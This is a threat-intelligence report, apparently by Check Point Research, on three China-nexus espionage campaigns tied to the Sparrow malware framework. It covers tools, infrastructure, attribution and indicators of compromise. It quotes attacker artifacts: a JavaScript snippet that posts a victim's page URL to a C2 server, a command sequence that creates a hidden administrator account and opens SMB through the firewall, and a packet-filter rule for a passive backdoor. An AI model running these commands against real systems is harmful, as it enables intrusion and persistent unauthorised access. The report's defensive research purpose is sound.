Key Points

• During a year-long investigation, Check Point Research identified three distinct operational clusters spanning Latin America, Asia, and Europe targeting telecommunications providers, government organizations, military entities, research institutions, and critical infrastructure.
• The clusters, SilentDelivery, OceanGate and DarkWire, are linked through shared infrastructure features and malware code similarities within the Sparrow malware framework.
• We track the entity behind the Sparrow framework as CopperDragon, a potential digital quartermaster supporting China-nexus threat actors, including FamousSparrow, Earth Estries, TropicTrooper, UAT-9244, and others.
• Each cluster employed a different toolset and different initial access techniques, including compromising internet-facing infrastructure and highly selective watering-hole attacks. The compromised websites that were used for watering hole attacks were of government, shipping, and IT and research sectors.
• Our research uncovered several previously undocumented tools and new details about the Sparrow framework, including Windows and Linux variants, passive backdoor capabilities, and a connection to the Melofee backdoor.

Introduction

Over the past year, Check Point Research investigated a series of intrusion campaigns targeting several dozens of high-profile organizations across Latin America, Asia, and Europe. These campaigns initially appeared to be independent operations, each using different backdoors, post-exploitation tools and operational pace.

However, we identified numerous connections between the tools and their infrastructure which linked them to the same Sparrow malware ecosystem. We track the entity behind these campaigns as CopperDragon, which may serve as a digital quartermaster supporting a number of China-nexus threat actors that use the Sparrow cross-platform malware framework for Linux and Windows.

What is CopperDragon?

FamousSparrow is a threat actor that was first identified in 2021, whose main backdoor is SparrowDoor. Since then, multiple vendors have reported on related activity and malware variants, including CrowDoor, HemiGate, and TernDoor.

Over time, it became apparent that this other activity was not necessarily carried out by the original FamousSparrow group. Instead, reporting pointed to several distinct actors using a shared toolset, potentially supplied by the same entity. These actors include FamousSparrow, Earth Estries, TropicTrooper, UAT-9244, and others. FamousSparrow was previously also linked to Salt Typhoon, but the relationship details remain unclear. Based on the apparent tool-sharing, we began tracking the entity behind the Sparrow framework as CopperDragon, its possible developer and supplier.

In this report, we examine three distinct activity clusters targeting major telecommunications providers, government organizations, and military entities. Together, these operations provide a broader view of the connected and evolving espionage ecosystem linked to CopperDragon:

• SilentDelivery uses highly selective watering-hole attacks that distribute the SquadC backdoor through Trojanized MSI installers masquerading as certificate repair utilities. This cluster focuses on Europe and Asia regions.
• OceanGate focuses primarily on Asian organizations and uses a variant of SparrowDoor. The actor first compromised internet-facing Linux systems before moving laterally into Windows environments, using a broad set of post-exploitation tools for both operating systems.
• DarkWire targets telecommunications providers and government organizations across Latin America, using CopperDoor and CopperDNS as its main backdoors.

SilentDelivery: Selective Watering-Hole Attacks

Beginning in early 2026, we started tracking new activity related to CopperDragon that introduces a unique initial access methodology, using watering-hole attacks that target high-profile organizations mainly in Europe and Asia. We track this activity as the SilentDelivery operation. While we were finalizing this report, part of this cluster was also reported by Positive Technologies.

The attackers first compromised legitimate websites frequently visited by their intended targets. When a victim visited one of these websites, a heavily obfuscated JavaScript payload injected into the page completely replaced the legitimate content with a Google Chrome SSL certificate warning customized to the website’s language. The fake warning blocked access to the website and instructed the user to install a “Certificate Fix” utility. This utility deployed either a previously undocumented backdoor called SquadC or, in some cases, a variant of SparrowDoor.

Compromised websites

All the compromised websites we confirmed were related to the government, shipping, and IT and research sectors. In one case, the website was exploited using an XSS attack on an unsensitized input field. Based on Check Point telemetry, the operations primarily targeted organizations in countries such as the Czech Republic, Germany, France, Taiwan, Nepal, Hong Kong and Indonesia.

Across the analyzed websites, we also identified three S3 buckets that we believe were compromised by the threat actor. These buckets hosted the next-stage backdoor, which was downloaded when the user clicked the “Install certificate” button.

JavaScript Analysis

The JavaScript injected into the compromised websites is heavily obfuscated using jsjiami, a publicly available JavaScript obfuscation service. It first checks whether the user is running Windows and, in some cases, verifies that the website’s domain matches the intended compromised domain.

The script then starts a loop that repeatedly sends status-check requests to the C2 (command and control) server at /image-check?t=<datetime>. These requests are used to fingerprint the user based on IP and geolocation and determine whether to continue the attack and hijack the webpage. They also enable the threat actor to control the attack and stop displaying the fake certificate error after a successful compromise, thus reducing the likelihood of raising the user’s suspicions. If the server returns HTTP 200, the webpage is left unchanged and the user can access the website normally. If the server does not respond, the script hijacks the webpage and displays the fake certificate error.

When the user clicks “Install certificate”, the script sends a POST request to the C2 server at /report-url. This request reports the click and includes the compromised website’s URL in its JSON body. At the same time, the script initiates the download of an MSI package containing the next-stage backdoor from an attacker-controlled S3 bucket.

fetch(serverUrl + "/report-url", {
    method: "POST",
    headers: {
        "Content-Type": "application/json"
    },
    body: JSON.stringify({
        url: window.location.href
    })
});

After the user executes the backdoor, it sends a request to the C2 server at /register-ip, indicating a successful compromise. The fake certificate error will not appear the next time the user visits the compromised website.

Stage	User Action	Reporting
1	Visits compromised site	JavaScript → /image-check?t=<datetime>
2	Clicks “Install certificate”	JavaScript → /report-url
3	Executes backdoor	Backdoor → /register-ip

SquadC backdoor

SquadC is a Windows backdoor written in C/C++ that provides operators with basic remote control over a compromised host. The backdoor is loaded in memory using a separate loader component that decrypts and loads it through a three-stage process. The name SquadC is derived from an internal reference left by the author in the sample:

Depending on its configuration, the backdoor supports several flags, including one that enables checks to avoid execution in sandbox environments. These checks look for VM artifacts in the file system and Windows registry, as well as blacklisted MAC addresses and specific screen resolutions and disk sizes.

As an additional measure to evade sandboxes and automated analysis, the backdoor can be configured to run only if a browser is currently running on the host. As the backdoor is downloaded through a browser during the infection, it’s expected that a browser remains open. The check is done by enumerating running process names and comparing them against a fixed list of browsers:

browser_list = [chrome.exe, msedge.exe, edge.exe, firefox.exe, brave.exe]

To survive host reboots, the backdoor achieves persistence by manipulating the registry Run key under a key WindowsUpdateAssist.

The backdoor supports a small set of commands for command execution and file system management and serves mainly as an initial foothold in the compromised host.

These commands are supported by SquadC:

Command ID	Description	Arguments
0x2	Directory listing using cmd /C dir "<path>"	directory
0x3	Delete file	filepath
0x4	Write data to file path	filename, data
0x5	Execute arbitrary command with output	command
0x6	Run systeminfo
0x7	Capture full-screen screenshot
0x8	Status check
0xA	Execute arbitrary command in background	command
Default	Returns unknown command

SquadC in phishing attacks

While hunting for related files, we identified an additional way to distribute SquadC through spear phishing. We found a compressed archive named Strategi_AS_Referensi_April2026.rar, uploaded to VirusTotal from Indonesia which aligns with Indonesian organizations observed in watering-hole activity. The backdoor was configured to communicate with the same IP address used in the watering-hole infection chain, suggesting that both activities were linked to the same threat actor.

The archive contains four files:

• Strategi_AS_Referensi_April2026.docx.lnk – An LNK file abusing the ftp.exe LOLBin for command execution.
• _rels/info.dll – A batch script executed using ftp.exe:

• _rels/.rels.log – A cab file containing the SquadC loader components:

• _rels/557.pdf – An empty file.

When the LNK file is executed, it runs a series of CMD commands to extract and execute the SquadC backdoor. It also opens a decoy document, which in this case is an empty file.

SilentDelivery Infrastructure

The SilentDelivery operation was attributed to CopperDragon based on two primary observations:

• In some cases, the final payload was a variant of SparrowDoor. Even in cases involving SquadC, the DLL used to load the backdoor was previously used in the FamousSparrow toolset.
• The C2 infrastructure of SquadC shares several characteristics with infrastructure associated with FamousSparrow, including server layout, exposed services and ports, HTTP response banners, and reused TLS certificates.

Subject: C=US ST=US L=Oregon O=VeriSign Class 3 Code Signing 2010 CA OU=VeriSign Class 3 Code Signing 2010 CA CN=VeriSign Trust Network Issuer: C=US ST=US L=Santa Clara O=McAfee, Inc. OU=McAfee, Inc. CN=McAfee, Inc. 
Serial Number: 0x4872589ca964eac0776b1e9617e9813cb1da49dc 
Not Before: 2023-04-28 11:13:39 
Not After: 2024-04-27 11:13:39 
Fingerprint SHA-1: 760be920fad07881b8ce9d94e074a35b4f806717

TLS certificate reused across SilentDelivery and OceanGate C2 infrastructure.

OceanGate: From Linux Initial Access to Domain Administrator

The OceanGate operation was observed during 2025-2026 primarily targeting government organizations and critical infrastructure in Asia. Some activity was also seen in other regions. The operation followed a more common intrusion pattern, with tooling and operational TTPs (Tactics, Techniques, and Procedures) consistent with those previously reported by multiple vendors and tracked as FamousSparrow.

In this attack, the threat actor operated across both Linux and Windows environments, deploying several previously unreported tools to maintain access and move across the compromised network. The operation involved extensive credential theft, lateral movement, data staging, and exfiltration of sensitive operational information. The Linux activity was particularly interesting, given the limited reporting on how the actor operates in these environments and the tools it uses.

Linux operation

The intrusion began with the exploitation of a vulnerable internet-facing Linux server, followed by the deployment of two new backdoors: AnnobinDoor and SparrowShell.

AnnobinDoor

The first backdoor deployed after initial access was AnnobinDoor, a statically linked, Go-based backdoor packed with UPX and internally named annobinagent. By default, it uses WebSocket but also supports HTTP and raw TCP. Its requests include browser-like headers and standard WebSocket upgrade fields, which helps the traffic resemble legitimate application communications.

The backdoor provides a broad range of remote access and pivoting capabilities, including an interactive shell, file management, SOCKS proxying, SSH tunneling, port forwarding, and reverse connections.

Together, these features allow the infected Linux host to function as both a remote shell and an internal network pivot.

SparrowShell

Later in the attack, the actor also deployed another backdoor we named SparrowShell. SparrowShell is a modular Linux backdoor that shares significant design and code similarities with the Windows backdoor SparrowDoor. The two belong to the same cross-platform malware family, with versions developed for Linux and Windows. They share the same C2 infrastructure and RC4 decryption keys, as well as similar command-line arguments and comparable plugin-based architectures.

These commands are supported by SparrowShell:

Command ID	Direction	Description
0x1001	Client → C2	Sends host fingerprint (OS, IPs, user, hostname, timestamp, host ID). Waits for magic value 0x11223344 to confirm the connection and mark the C2 as active.
0x1002	Client ↔︎ C2	Requests a plugin module from the C2. Receives encrypted blob, decrypts it, saves to /tmp/%x, loads via dlopen, executes xmain, then deletes it from disk.
0x1003	Client → C2	Sends additional host identifier/hash. Connection is validated based on the C2 response (0x11223344) or dropped if invalid.
0x1004	C2 → Client	Returns current runtime configuration (228-byte structure) to the C2.
0x1005	C2 → Client	Receives new configuration (228 bytes), encrypts it, and stores it as <executable>_ for persistence across runs.
0x1006	C2 → Client	Removes persistence (cron/systemd), deletes binary and config, clears temp files, removes iptables rules, and terminates execution.
0x1007	C2 → Client	Opens a local TCP listener on a specified port and bridges incoming connections to the C2 (port forwarding).
0x100A	C2 → Client	Sends a serialized list of currently loaded plugin families and their metadata.
0x100B	C2 → Client	No detected action; likely reserved for future use.
0x100C	C2 → Client	Removes a loaded plugin based on its family ID.
0x100D	C2 → Client	Establishes outbound connection to target/port and bridges it to the C2, enabling reverse tunneling.
0x100E	C2 → Client	Disconnects from the C2 and sleeps for a specified number of minutes before reconnecting.

Trojanized SSH tools

A few days later, the threat actor replaced the legitimate SSH client and SSHD components on the server with Trojanized versions designed to log credentials during administrative activity. This allowed the actor to harvest credentials from multiple users and move to other Linux hosts on the network, where the same technique was used again.

Public tools

Besides custom tools and scripts, the threat actor also used popular publicly available tools, including FRPC and Chisel, which provided additional channels for remote access and internal pivoting. The actor also used ASimplePortScanner, an open-source Python scanner, to discover additional hosts in the network.

Windows Operation

After harvesting credentials from multiple users and establishing a strong foothold in the Linux environment, the actor moved into the Windows environment.

The actor attempted to log in to several Windows machines over RDP, trying different passwords until it successfully authenticated with an administrator account. It then deployed a set of custom post exploitation tools before deploying the final windows backdoor a variant of SparrowDoor.

CopperAdu

CopperAdu is a post-exploitation tool that configures a compromised Windows host for remote administrative access, preparing it for further attacker activity.

It creates a local account with hardcoded credentials, disables password expiration, and adds the account to the local Administrators group. It also modifies the registry to hide the account from the standard Windows logon interface.

The tool sets LocalAccountTokenFilterPolicy to 1, allowing remote connections using local administrator accounts to retain full administrative privileges and facilitating lateral movement.

Finally, CopperAdu enables the LanmanServer and LanmanWorkstation services and configures an inbound Windows Firewall rule to allow SMB traffic on TCP port 445.

net user admin$ "Admin@123456" /add /expires:never /passwordchg:no
wmic useraccount where "Name='admin$'" set PasswordExpires=false
net localgroup administrators admin$ /add
sc config LanmanServer start= auto
sc start LanmanServer
sc config LanmanWorkstation start= auto
sc start LanmanWorkstation
netsh advfirewall firewall delete rule name = "RasiUwpApp"
netsh advfirewall firewall add rule name="RasiUwpApp" dir=in action=allow protocol=TCP localport=445 profile=any

CopperList

The actor then deployed CopperList, a Windows reconnaissance tool that collects host information, disk details, and a recursive file inventory, including file paths, sizes, and timestamps. It scans fixed drives while excluding common system and application directories, focusing on user data and potentially sensitive files. The collected information is compressed using LZNT1 and staged for exfiltration by other attacker-deployed components.

CopperLogger

On some hosts, the actor deployed CopperLogger, a Raw Input-based keylogger. It registers a hidden window (kbl) and subscribes to keyboard input events, allowing it to capture keystrokes regardless of which application is in focus.

Beyond keystroke logging, the malware also collects contextual information, including:

• Active window titles
• Associated process names and paths
• User session context

In addition, the malware monitors clipboard activity involving copying and pasting, and stores it alongside the keystroke data.

CopperLsa

For credential theft on Windows systems, the actor deployed CopperLsa, a tool that collects credentials directly through the Windows authentication flow. Its loader decrypts two embedded DLLs: one installs a custom LSA security package inside LSASS, while the other collects passwords, hashes, and authentication tokens from several authentication mechanisms, including NTLM and Kerberos. The stolen credentials are saved to a log file at a location chosen by the operator.

Kernel-level capabilities

In some cases, we observed the actor adding kernel rootkits and kernel-level access capabilities to its main backdoors: SparrowDoor for Windows and SparrowShell for Linux.

SparrowShell kernel rootkit

SparrowShell supports integration with an embedded kernel rootkit. When executed with the hide flag, the backdoor locates an appended encrypted blob, decrypts it, and loads it into memory as a kernel module using the init_module system call.

The kernel component is a modified version of the open-source Reptile rootkit and supports capabilities such as hiding files, processes, and network activity. Communication between user space and the rootkit uses a custom ioctl interface with the ID 0x0e0e0e0e.

Passive Sparrow backdoor

Some observed versions of the Windows backdoor SparrowDoor include kernel-level packet interception capabilities, with WinDivert drivers embedded as resources for x86 and x64. WinDivert is a legitimate driver for network packet capture and manipulation, and is commonly used by utilities such as VPNs, firewalls, and tunneling applications.

The actor abused the driver to convert SparrowDoor into a passive backdoor that intercepts and manipulates packets at the kernel level, making its traffic less visible. This allows the backdoor to listen internally on one port while receiving connections through an externally accessible port, such as 443, that is already used by a legitimate service.

The backdoor applies a strict filter to intercept connections from a specific source IP address to the legitimate service’s port. It manipulates the packet and rewrites the destination port to the backdoor’s internal listening port, typically a high port such as 49628. For response traffic, it rewrites the source port back to the external service port, making the responses appear to originate from the legitimate service.

(
    (inbound and tcp.DstPort == %d       // Legitimate external listening port
        and ip.SrcAddr == %s) or         // Connections from a specific source IP
    (outbound and tcp.SrcPort == %d)     // Backdoor's internal listening port
)

Incoming connections are checked for the magic value 0x11223344. Matching requests are queued for backdoor command processing, while nonmatching traffic is forwarded to the legitimate service at 127.0.0.1:<external_port>, allowing normal connections to continue functioning.

Melofee

While analyzing SparrowShell, we identified several similarities with the Melofee backdoor, which was first discovered in 2023. Both use similarly modified versions of the open-source Reptile rootkit and share code similarities in how they decrypt, load, and activate the rootkit. They also support the same hide and show command-line arguments for rootkit control. These similarities led some vendors to classify SparrowShell as Melofee.

The connection between Melofee and CopperDragon’s SparrowShell became stronger when we analyzed Melofee samples that also shared infrastructure characteristics, particularly in their self-signed certificates. Both used certificate subject values such as Some-State and O=Internet Widgits Pty Ltd and impersonated public DNS servers in the common name (CN) field. Both also used certificates created years earlier that remained in use long after their expiration.

Based on these findings, including code similarities and infrastructure overlaps, we assess that CopperDragon is also involved in maintaining and supplying Melofee variants.

DarkWire: Compromising Telecommunications Providers

In mid-2025, we identified a new wave of activity, tracked as DarkWire. While initially concentrated in Latin America, more recent intrusions suggest expansion beyond the region. Victimology indicates a clear focus on telecommunications operators and government entities, including at least three major telecom providers in the region, as well as the foreign affairs and justice sectors.

Throughout our investigation, we uncovered multiple custom tools, suggesting the actor maintains a broader proprietary toolkit. The actor deployed two newly identified backdoors, which we named CopperDoor and CopperDNS. These appear to function as the group’s primary implants and may have replaced the SparrowDoor family.

Beyond these backdoors, the actor was observed deploying several additional custom tools, including proxy utilities such as CopperProxy and PyProxy, as well as CopperLsass, a dedicated module used to dump the LSASS process for credential harvesting. Most of the post exploitation tools including the new backdoors were loaded by a unique loader we named CopperLoader.

Alongside these tools, the operators also employed publicly available software, such as SoftEther VPN renamed to names like vmtoolsd.exe and csrss.exe. For lateral movement, they transferred files over SMB and executed remote commands via WMI, using wmiexec.

CopperLoader

CopperLoader is a reflective loader typically deployed through DLL sideloading. It consists of position-independent shellcode written into a modified version of the original DLL being hijacked. In some cases, CopperLoader was not the initial sideloaded component, but arrived as a second-stage shellcode payload delivered by another shellcode loader.

CopperLoader loads an encrypted next-stage PE module from a .dat file in its directory. These files contain the next-stage module in encrypted form. While the exact layout varies across samples, a consistent set of embedded headers provides the information needed to process each payload: module length, RC4 decryption key, and in some cases, the backdoor configuration.

The MZ and PE signatures were removed in the decrypted module, hindering memory scanning and automated extraction.

We observed CopperLoader delivering four unique tools: CopperDoor, CopperDNS, CopperProxy, and CopperLsass.

CopperDoor & CopperDNS

The main backdoor used in the DarkWire operation was CopperDoor, a newly identified advanced modular backdoor that resides entirely in memory. CopperDoor uses some novel techniques such as call stack spoofing and gadget-based execution for EDR evasions. The malware, also known as SparroWocky, was recently analyzed in depth by ESET as part of its research into FamousSparrow activity.

Alongside CopperDoor, we also observed a variant of the backdoor that communicates through DNS tunneling using MX queries, which we named CopperDNS.

CopperProxy & PyProxy

CopperProxy is a SOCKS5 proxy tool. It accepts an IP address and TCP port as command-line arguments, configures a Windows Firewall rule named ss1 for the specified port, and listens for incoming connections, supporting up to 300 concurrent clients. For each connection, it handles SOCKS5 negotiation, connects to the requested destination, and relays traffic in both directions.

PyProxy is a lightweight UDP relay written in Python and packaged as a standalone executable using PyInstaller. It listens on a fixed local UDP port and relays traffic in both directions between local clients and a hardcoded remote IP address and port.

CopperLsass

CopperLsass is a DLL module that loads a component named slave.dll into LSASS by registering it as a security package through RPC. Once inside LSASS, slave.dll uses the Windows library comsvcs.dll and a helper DLL, dep.dll to create a full LSASS memory dump, encrypt it using a custom SUB-XOR-ADD algorithm, and delete the original dump. In observed intrusions, the encrypted file was renamed to 1.png before exfiltration to resemble an image file.

Execution and Staging

The operation heavily relies on DLL sideloading as a primary execution technique, often abusing executables that are not widely observed among other threat actors in the wild.

The executables we observed in use include:

DLL Name	Original EXE Name
ncpmif32.dll	ncptrcw.exe
winfsp.dll	fsptool.exe
libvlccore.dll	vlc.exe
DukeQt.dll	gethwid.exe
zCrashReport64.dll	zCrashReport64.exe

To minimize their footprint, the operators deliberately avoided creating new directories on disk, instead placing their tools within existing system paths.

The file paths we observed in use:

Path
C:\Program Files\7-Zip\Lang
C:\Windows\debug
C:\Windows\System32
C:\ProgramData\vmware\logs
C:\ProgramData\Oracle\Java
C:\ProgramData\USOShared
C:\ProgramData\Waves

DarkWire Infrastructure

CopperDoor infrastructure demonstrated a higher level of operational security. The associated IP addresses were distributed across a variety of autonomous systems. These servers typically exposed port 443, with communications conducted over raw TCP encapsulated in TLS instead of standard HTTPS. In several cases, the TLS certificates deployed on these C2 servers contained Common Name (CN) values that closely mimic domains associated with the targeted victim organizations.

ASN
AS-VULTR, US (AS20473)
KAOPU-HK Kaopu Cloud HK Limited, HK (AS138915)
LATITUDE-SH (AS396356)
XNNET, US (AS6134)
CDNEXT, GB (AS212238)
ONEPROVIDER-AS BrainStorm Network, Inc, CA (AS136258)

In contrast, infrastructure linked to CopperDNS, which functions as a DNS tunneling C2 channel, consisted primarily of Windows-based hosts. These systems were consistently hosted within AS20473, AS-VULTR, exposed high-numbered ports (most commonly 6532), and reused a distinctive TLS certificate (SHA-256: ee4a8b81fe3864582efc27a77f806990e2602dcc36447ddda4b3a230a473d575) across multiple nodes.

Subject: CN=8.8.8.8
Issuer: CN=8.8.8.8
Serial Number: 0x20a61422b0352cfc9ef688dc800bcdf810f1fe7d
Not Before: 2025-07-16T03:10:29
Not After: 2026-07-16T03:10:29
Fingerprint SHA-1: de32c58a8087cc4f24b9eb65c8ff4516f0f65f13

An additional pattern we observed across both infrastructures is geographic alignment with target regions. Most IP addresses were located in Latin America, often within the same country as the victim organization. This proximity likely helps the malicious traffic blend in with legitimate network activity and reduces the chances of detection.

DarkWire Attribution

We did not identify direct code similarities in DarkWire cluster with other tools in the CopperDragon toolset aside from general design patterns. However, we found an infrastructure link to a previous report on FamousSparrow activity. The domain amelicen[.]com was reported as a SparrowDoor C2 server, and our telemetry showed that the same domain was also part of the CopperDNS infrastructure.

We also observed VirusTotal submitters uploading files related to both SparrowDoor and DarkWire around the same time, suggesting that these tools may have been used in the same attack. In a recent report, ESET also observed that SparrowDoor was replaced on compromised hosts by CopperDoor (AKA SparroWocky), further strengthening the connection we identified.

Summary

CopperDragon is an entity we track as a possible digital quartermaster supporting several China-nexus threat actors that use the cross-platform Sparrow framework.

We identified at least three activity clusters, each using its own main backdoor and targeting different regions and organizations:

• SilentDelivery – Uses the newly discovered SquadC along with a variant of SparrowDoor in watering-hole attacks across Europe and Asia.
• OceanGate – Operates primarily in Asia, uses a variant of SparrowDoor and SparrowShell, and shows possible links to Melofee.
• DarkWire – Targets telecommunications operators and government organizations in Latin America and uses the new CopperDoor and CopperDNS backdoors.

These findings provide a foundation for understanding CopperDragon’s potential users and more precise tracking of activity previously grouped under the FamousSparrow umbrella. In the highly interconnected China-nexus threat ecosystem, shared malware and infrastructure can blur the boundaries between operators and campaigns. However, the use of the same backdoor or C2 infrastructure does not necessarily mean that two intrusions were conducted by the same actor.

Technical Appendix

Full list of tools:

Tool	Platform	Purpose
CopperLoader	Windows	DLL loader that decrypts and reflectively loads CopperDoor, CopperDNS, CopperProxy, and CopperLsass.
CopperSplit	Windows	Loader variant using split API strings, service persistence, and a payload encrypted using the computer name. Final payload was not recovered.
CopperDoor	Windows	Modular backdoor supporting reconnaissance, command execution, in-memory modules, plugins, and reverse port forwarding.
SparrowDoor	Windows	Backdoor supporting persistence, process hollowing, and additional payload execution.
CopperDNS	Windows	CopperDoor variant that tunnels C2 communications through DNS MX queries.
CopperProxy	Windows	SOCKS5 proxy supporting network relaying and internal pivoting.
PyProxy	Windows	UDP Proxy utility deployed during DarkWire operations.
CopperLsass	Windows	Loads components into LSASS to dump its memory, then encrypts the dump for collection.
CopperLsa	Windows	Malicious LSA Security Support Provider that intercepts credentials during authentication.
CopperLogger	Windows	In-memory keylogger capturing keystrokes, clipboard data, and window and process context.
CopperAdu	Windows	Creates a hidden administrator account, enables SMB services, and configures remote administrative access.
CopperList	Windows	Collects system information and file metadata, then stages a compressed inventory.
SquadC	Windows	Backdoor delivered through fake certificate-repair installers; supports command execution, file operations, reconnaissance, and screenshots.
SparrowShell	Linux	Modular backdoor supporting remote commands, file operations, persistence, and network pivoting. (A Linux version of SparrowDoor backdoor)
AnnobinDoor	Linux	Go backdoor supporting remote shells, file transfers, SOCKS proxying, SSH tunneling, and port forwarding.
Trojanized SSH	Linux	Modified OpenSSH client that captures passwords, authentication responses, and private-key passphrases.
Trojanized SSHD	Linux	Modified OpenSSH server that captures incoming authentication credentials.
Modified Reptile rootkit	Linux	SparrowShell kernel component that hides processes, files, and network activity.
FRP / frpc	Linux	Reverse proxying and tunneling.
Chisel	Linux	TCP tunneling over HTTP.
SoftEther VPN	Windows	VPN connectivity for operator access and pivoting.
WinDivert	Windows	Driver used by SparrowDoor for kernel-level network traffic interception and manipulation.:

IOCs

SilentDelivery Campaign Files

Malware	Name	Hash
SquadC Installer	CertFixer.msi	715c206629f59ff5b0134a33362162ce7a40a9b25aa17f0543dc9648d51a67cf
SquadC Installer	CertFixer.msi	b379d07ba81d4190490d9893b2d6d830ff594e042dce26053ef07794d0403787
SquadC Installer	CertFixer.msi	e5f7bbfc187264336dea5dfebfb5a7dd1e7fcdcc9692db55fbe6eb4d28f027bc
SquadC Installer	CertFixer.msi	e9f2f42ea3611096879f4152a7d78bb3a78a4dbead1c3b7e366dce485207551f
SquadC Installer	CertFixer.msi	f44159bec1d4d3f340652cd3c6e250dcf2bdb266e5400d3e267f0466d290dda0
SquadC Installer	CertFixer.msi	f51dc5e1848daee4e607d46faa25033e1151060cd3482ad4439754440d6c4c01
SquadC Loader	MSVCR110.dll	8bbc395a7a0faff074c6e31c7da37bf1540a4e7ec3d80870f8d6bd1f5d4cecbb
SquadC Loader	dtfbase.dll	054c0ffb08eb7830de1ff2356af4d2ed696f01111a8c2e78e3a4ddc940287e48
SquadC Loader	WTSAPI32.dll	b60404c1299e69df029d9817dcf69f9fe325ecc990e16bc7758f56ce5714184b
SquadC Loader	MSVCR110.dll	f23e5391656b178bc0ab510b0fca6ffbd963cf94870c82a5920f0f338f561f18

SilentDelivery Campaign Infrastructure

microsfot[.]vip
microscoft[.]vip
aistei[.]com
astorialaza[.]com
135.136.135[.]54
103.141.235[.]123
109.205.195[.]131
158.255.213[.]189
165.154.227[.]16
45.197.12[.]11
91.210.164[.]5

OceanGate Campaign Files

Malware	Name	Hash
CopperList	filst2.exe	1cd0c608418cca80149ef3077e54969f24cd7ef3f22707cb280fa4b378ffa76b
CopperAdu	adu.exe	40880b6fce6f83df4e902cd29d7abb303ffa3f37c429c382f2aaeea34f7be074
CopperLsa	g.exe	9fa421adb5c5dac3b2fc1165b0dddd596e82cfd3b08347a91d63f9e88d8718d0
Copperlogger loader	STI.DLL	3637f4f804cffc3b25222d542e7cb544ee48074ed2e46607e31f9410c17bf223
Copperlogger	In memory	1b365975f9ad8a4748b2bbfb36de3be171aeadeb59d497192a8b4d9560b37173
SparrowDoor loader	hha.dll	d1da8e2389f48d1d1c0e127f3417e3d3e0dbf54691e22d6d0c863d28b9e7a812
SparrowDoor variant	In memory	dbdaa8a52246b1e3f9285820db2f976b8ab513926ed972c968fae1c8aeb77056
AnnobinDoor	containerd-demo	46407cc35c48d19c6b1990a03ebdd19321005ce08d5a98acd168fda55a92d946
FRP	frpc	3e4eef1a641d6060f6144ceba6757df6085d475eedb8b9e61b5feb84e9fb989e
Trojanized ssh	ssh	cc3544ac194a4ab5f3a60dbedd270192bc01afd2a365b3b136b35d40d8dd3ff0
Trojanized ssh	ssh	ea25b021f90dbd1c53cd3490274c5c92856d4f815d85f3ec68600facab2c952f
Trojanized sshd	sshd	fa28bc5dfc2c37c3104961f5ca80f590259a27743a8aa327c606fb51452b840f
SparrowShell	xfs_rudp	2ea96ea398e9254706ff2761b86302372c149ef090536ad76231e51d7c810a2a
SparrowShell	aplk	50daadd49b8df4f0190d0badfde89f8e6a6e61af664ef1444984028a005f40d8
SparrowShell Plugin	2000	cbce7dc8649b37c5db411dfee3a74e8cace2b48fdc8350bfa5b4846c5d9ed2ae
SparrowShell Plugin	3000	9d01724193d9570a6c75bbcbb171d29df290207007d004cf75d133dd9aa475f4
SparrowShell Plugin	4000	129349a221e6efcc9a047efdfd81197f796fcf38877344f17f85651b21e33427

OceanGate Campaign Infrastructure

windowsdefender.it[.]com
windowsupdates[.]us
microupdate[.]me
windefender[.]net
103.215.216[.]117
103.215.216[.]116
103.215.216[.]125
103.215.216[.]197
103.215.216[.]27
103.215.216[.]75
103.215.216[.]186
103.215.216[.]162
103.215.216[.]123
149.104.90[.]200
151.242.188[.]220
180.149.44[.]43
180.149.44[.]115
194.213.18[.]178
2.56.222[.]28
2.56.222[.]49
216.185.57[.]152
217.69.13[.]77
38.54.71[.]107
38.54.71[.]56
38.54.71[.]160
45.80.208[.]195
45.80.208[.]232
45.80.208[.]66
45.86.230[.]60
45.90.58[.]202
47.81.8[.]145
89.223.91[.]91
89.44.193[.]140
160.16.83[.]208
153.127.55[.]77
134.255.211[.]224
207.189.10[.]188
91.227.77[.]172
165.154.226[.]247
165.154.243[.]24
165.154.227[.]16
38.60.209[.]227
216.238.118[.]179
216.238.123[.]242
64.190.113[.]170
154.223.21[.]194
154.205.154[.]82
154.205.154[.]70
37.122.150[.]133
109.205.195[.]131
38.60.195[.]184
38.60.209[.]227
103.9.77[.]116
134.255.211[.]224
87.236.37[.]185
92.118.127[.]23
130.94.91[.]53
45.39.103[.]5
91.210.164[.]5
151.242.188[.]220

DarkWire Campaign Files

Malware	Name	Hash
CopperLoader	ncpmif32.dll	4cafda69af3179ceb4a1f5ed864c501279796254709c86ca236be1cf74a8643f
CopperLoader	ncpmif32.dll	48dcc07d9f87129e937f5ca2ad5ba56975600efb8a7280a170b2aeeff503f595
CopperLoader	libjpeg-62.dll	a47279e4ee703092263e7030c43c61533146c00689e7cb8f2080f18e57d5cf7f
CopperLoader	libvlccore.dll	d4e4a3f55b875673cfdb6d0687cc3f8890585210806b03082d11fb4fa40b57de
CopperLoader	libvlc.dll	3317789219e9b3e48fbb8f7af23359a37539597fc4d84649086aec71a21553ee
CopperLoader	winfsp.dll	c049e5e03a04cf54f8aa089c65861342d3fb4aa8d6a2b1c9484637c46ddc3882
CopperLoader	winfsp.dll	f01a73f651f8113bf9672dbe4c50c63ed365a41e4187aaf0a5ab34cd21154046
CopperLoader	winfsp-x64.dll	9332f9cd283d69e9a2a2bb71575054cc71c14b6496ac55f7ff43efdcb6d97a01
CopperLoader	libeay32.dll	12b6d5ca7aca7134032721b6feb8e4d5ad75c886fbf8a5889d3d36971a083681
CopperLoader	libeay32.dll	125525a38abc45e855f848d499582a8100f1428938d4bd3d3eba957072e64e7a
CopperLoader	zCrashReport64.dll	4b1fea3265492ad1d272428447fb5919bbe3184131b12a0ae84caf3bc442718e
Shellcode loader (CopperLoader shellcode version)	DukeQt.dll	4e50f53b5294a6dbd601fc20a607ae85725162b596119f4867311ef0b3f75a6a
CopperSplity	zCrashReport64.dll	f42461c386834d61780da13760a130ed2ea620627b5eebf97b56237058ea380d
CopperSplity	tempdir.dll	b7060cf7955a1f1caac2bc3d0918c9b1d9daa315c5d82b329acd3bbddb413948
CopperSplity Helper	asinteg.dll	cb714decdcabe30008546e6fb71bb28e390c9bd186bf2549aaa8fe5b999200a5
CopperDoor	In memory	de6a3140797f7c00a48b2068127965c3994f92867466259e69c861880e6ec2d8
CopperDoor	In memory	d08e09a17df22fb39838dcc9e99756830ef5175bc9e03d615adf979dc85ed052
CopperDns	In memory	417664cc34360d8519adc7a019408cf8f37f59c95a44e50092d73e38b7889a21
CopperLsass – RPC Lsass injector	In memory	fd0861a8269f2bb2fe0adfb4b4610d9675e68474503598f83e87c29b88906f99
